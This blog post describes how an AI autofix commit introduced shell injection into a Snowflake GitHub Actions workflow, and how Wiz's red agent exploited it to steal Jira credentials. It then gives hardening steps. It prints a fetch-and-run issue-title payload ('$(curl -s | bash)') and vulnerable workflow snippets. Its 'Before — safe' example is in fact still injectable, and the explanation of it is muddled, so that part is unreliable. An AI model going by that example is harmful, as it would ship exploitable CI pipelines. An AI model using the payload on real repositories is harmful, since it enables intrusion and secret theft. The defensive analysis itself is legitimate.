Five days. That's how long it took between GitHub Copilot Autofix co-authoring a commit that stripped sanitized input out of a shell script in snowflakedb/snowflake-connector-net, and an autonomous AI red agent from Wiz weaponizing the resulting flaw to exfiltrate Jira credentials. The bug author was an AI. The bug finder was an AI. The whole loop — commit, expose, weaponize, leak — ran without a human in the critical path on either side. This is the new shape of supply chain risk, and the Wiz findings published in August 2026 lay it out with uncomfortable clarity.
The incident is not a story about AI being "dangerous" in the abstract. It is a story about a specific, classic vulnerability class — script injection via unescaped shell expansion — being introduced by an automated remediation tool a maintainer trusted to do the right thing. The change that introduced the flaw looked plausible. It probably even looked cleaner than the code it replaced. That is what makes it dangerous.
What the AI actually changed
On June 18, 2026, GitHub Copilot Autofix co-authored a commit to the public snowflakedb/snowflake-connector-net repository. The intent was routine: refactor a run step in a GitHub Actions workflow. According to Wiz's analysis, the AI removed the existing sanitized input pattern in those run blocks and replaced it with direct string expansion inside a shell script.
The diff was small. The mechanism is the one every shell veteran has seen at least once:
# Before — safe
run: |
TITLE="${{ github.event.issue.title }}"
echo "Issue: $TITLE"
# After — what Autofix shipped
run: |
echo "Issue: ${{ github.event.issue.title }}"
The first version captures the title into a shell variable first, so the YAML interpreter expands the GitHub Actions expression at substitution time but the shell itself never re-parses the value as code. The second version inlines the expression directly into the echo argument. Same intent, same line of code, but the value is now interpreted by the shell as a template string. Anything that looks like shell syntax in the title — backticks, $(...), semicolons — runs.
This is not a Copilot-specific bug. It is a class of error humans make constantly. What is new is that Copilot Autofix made the regression on a "fix" commit, which is exactly the kind of change reviewers skim.
How it got exploited five days later
On June 23, Wiz deployed its red agent — an autonomous offensive-security AI designed to find and demonstrate exploitable flaws — during a routine scan of public repositories. It located the GitHub Actions workflow flaw immediately. Then it did the part that matters: it crafted an issue title designed to break out of the echo string during shell expansion:
# The exploit title
$(curl -s | bash)
When the workflow fired on the new issue, that title was expanded by the shell, curl ran, and the response was piped straight into bash. The agent did not need to compromise a developer, phish a maintainer, or wait for a typo. It opened an issue with the right title and waited for the workflow to run.
[[DIAGRAM: June 18 commit ships an unescaped ${{...}} expression inside a run block → June 23 an issue is opened with a $(...) shell payload in the title → GitHub Actions runner expands the expression at runtime → the injected command runs inside the runner → curl exfiltrates the Jira token out of band → attacker gains read access to engineering, security compliance, and bug bounty projects]]
The blast radius was the part that should keep security teams up at night. The exploit did not stop at code execution inside the runner. It exfiltrated Jira credentials via an out-of-band callback, and those tokens gave Wiz read access to internal engineering, security compliance, and bug bounty tracking projects at Snowflake. Gal Nagli, head of threat exposure at Wiz, framed it as a wake-up call about how quickly automated AI agents can surface vulnerabilities that slip past traditional review. A rapid patch followed, but the credentials had already walked out the door.
Why this is not a one-off
The interesting number is not "1 critical CVE". It is the 5-day window from commit to weaponization, with zero humans in the loop on either side. The bottleneck for both offense and defense is now compute, not attention.
A few things follow from that:
- Both bug introduction and bug discovery now run at AI speed. The defender's old advantage was that a typo took years to be found. It now takes hours to days.
- The cost of a "cosmetic" refactor has changed. A line that removes one layer of escaping is no longer just a lint issue. It is a potential exploit primitive, and any AI agent scanning public repos can find it.
- The threat model for public repos now includes AI adversaries. If your CI fires on every issue, your CI is part of your attack surface against adversarial issue titles.
The lesson is not "stop using AI code assistants". Copilot Autofix was doing what it was designed to do — propose a terser version of the workflow — and a maintainer merged it because the change looked small. The lesson is that the review surface has changed, and the tools have to match.
How to harden your pipelines today
This is the part that matters more than the postmortem. Five concrete things you can put in place today, in order of effort:
1. Treat expression expansion inside run: blocks as a code smell. Add a CODEOWNERS rule that any change touching a run: block in .github/workflows/ requires a second human reviewer who understands shell escaping. Force the diff to be read in the context of the full job, not the isolated run line.
2. Move untrusted input out of the shell entirely. The right pattern is to pass the value as an env: variable and reference it as a quoted shell variable, never as an interpolated expression:
# Safe pattern — pass via env, quote in shell
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Issue: ${ISSUE_TITLE}"
Shell variable interpolation is single-pass and does not re-parse the value as code. This is the fix.
3. Run an AI scanner against your own public repos. Wiz's red agent exists; so do others. If you have public repositories with workflows that react to issues, pull requests, or repository_dispatch events, scan them with an offensive AI agent before someone else does. The cost is small. The alternative is finding out from a vendor blog post.
4. Add a pre-merge check for expression-in-shell patterns. A small linter that greps for ${{ inside run: blocks in your own repos catches the same class of error Copilot Autofix introduced. Cheap, runs in CI, and gives the reviewer a flag instead of asking them to spot it:
# .github/workflows/lint.yml
- name: Block inline expression expansion
run: |
! grep -RnE 'run:.*\$\{\{' .github/workflows/ \
&& echo "Inline \${{...}} inside run blocks is forbidden."
5. Scope CI tokens to the minimum. The Jira credential exfiltration only worked because a workflow token had read access to internal projects. Workflow tokens should be short-lived, scoped to the single integration they need, and rotated aggressively. Assume every workflow that touches a secret will, at some point, leak it — and design for that.
The part underneath the tooling churn
Here is what does not change when the AI on the left or the AI on the right changes: the structural shape of your application. Tools churn. Models churn. The particular AI assistant you use today will be a footnote in six months. What stays is the runtime your code actually runs on, the components your UI ships from, and the boundaries between trusted and untrusted input.
If your components come from a single, structured source — one component definition, one props API, one render path across web, iOS, and Android — then every AI-assisted refactor in the world is operating on a smaller surface area than if every platform had its own forked version. If your routing is centralized and your CI definitions are typed, an AI tool cannot silently re-shape them into something a different shell parser interprets. The defensive posture that survives tool churn is the one that does not rely on any single AI to behave correctly.
Use the AI tools. They are genuinely good at the things they are good at — refactors, lints, finding typos, surfacing vulnerabilities you missed. Pair them with an AI scanner, because the attacker is using one too. And build the parts of your stack that have to be boring and durable out of components that do not shift under your feet every time the underlying tool does. The incident at snowflakedb/snowflake-connector-net is what happens when none of that is true — and the next one will land faster than five days.
Top comments (0)